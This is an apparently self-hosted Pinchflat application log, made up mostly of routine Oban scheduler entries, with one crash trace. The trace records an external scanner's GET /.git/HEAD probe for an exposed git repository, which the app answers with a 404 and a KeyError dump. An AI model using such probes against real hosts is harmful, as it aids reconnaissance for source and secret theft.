{"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.620 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:26:18.312 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:48.313 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.621 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:27:18.314 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:48.315 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.622 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:28:18.316 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:48.317 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.623 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:29:18.318 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:48.319 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.624 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:30:18.320 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:48.321 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.625 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:31:18.323 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:48.324 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.626 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:32:18.325 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:48.326 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.627 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:33:18.327 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:48.328 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.628 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:34:18.329 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:48.330 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.629 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:35:18.331 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:48.332 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.630 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:36:18.333 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:48.334 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.631 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:37:18.335 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:48.336 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.632 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:38:18.337 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:48.338 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.633 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:39:18.339 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:48.341 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.634 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:40:18.342 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:48.344 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.635 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:41:18.345 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:48.346 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.636 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:42:18.347 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:48.348 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.637 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:43:18.350 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:48.351 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.638 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:44:18.352 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:48.353 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.639 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:45:18.354 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:48.355 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.640 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:46:18.356 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:48.357 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.641 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:47:18.358 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:48.360 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.641 [info] {"source":"oban","duration":166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:48:18.361 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:48.363 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.643 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:49:18.365 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:48.366 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.644 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:50:18.367 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:48.368 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.645 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:51:18.369 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:48.371 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.645 [info] {"source":"oban","duration":173,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:52:18.372 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:48.374 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.647 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:53:02.180 [info] GET /.git/HEAD 04:53:02.180 [debug] QUERY OK source="settings" db=0.2ms idle=463.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:02.181 [debug] QUERY OK source="settings" db=0.1ms idle=452.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:02.181 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:02.181 [error] #PID<0.3847.0> running PinchflatWeb.Endpoint (connection #PID<0.3846.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3846.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 53848}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "identity", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Python-urllib/3.10", "x-forwarded-for" => "185.137.164.4", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3847.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "identity"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Python-urllib/3.10"}, {"x-forwarded-for", "185.137.164.4"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUtzCdu3vDE3IQAAXEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3846.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 53848}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "identity", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Python-urllib/3.10", "x-forwarded-for" => "185.137.164.4", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3846.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 53848}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "identity", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Python-urllib/3.10", "x-forwarded-for" => "185.137.164.4", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3847.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "identity"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Python-urllib/3.10"}, {"x-forwarded-for", "185.137.164.4"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUtzCdu3vDE3IQAAXEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"li (truncated) 04:53:18.376 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:48.378 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.648 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:54:18.379 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:48.382 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.649 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:55:18.383 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:48.384 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.650 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:56:18.386 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:48.387 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.651 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:57:18.389 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:48.392 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.652 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:58:18.393 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:48.395 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.653 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:59:18.397 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:48.399 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.654 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:00:18.401 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:48.403 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.655 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:01:18.404 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:48.407 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.656 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:02:18.409 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:48.411 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.657 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:03:18.414 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:48.416 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.657 [info] {"source":"oban","duration":165,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:04:18.417 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:48.419 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.659 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:05:18.421 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:48.423 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.660 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:06:18.425 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:48.427 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.661 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:07:18.429 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:48.431 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.663 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:08:18.433 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:48.435 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.664 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:09:18.437 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:48.439 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.665 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:10:18.441 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:48.442 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.666 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:11:18.445 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:48.447 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.667 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:12:18.449 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:48.451 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.668 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:13:18.453 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:48.455 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.669 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:14:18.457 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:48.459 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.670 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:15:18.461 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:48.463 [info] {"source":"oban","duration":1680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.671 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:16:18.466 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:48.468 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.672 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:17:18.470 [info] {"source":"oban","duration":1680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:48.473 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.673 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:18:18.475 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:48.478 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.674 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:19:18.480 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:48.483 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.675 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:20:18.485 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:48.486 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.676 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:21:18.488 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:48.490 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.677 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:22:18.492 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:48.494 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.678 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:23:18.496 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:48.498 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.679 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:24:18.500 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:48.502 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:00.680 [info] 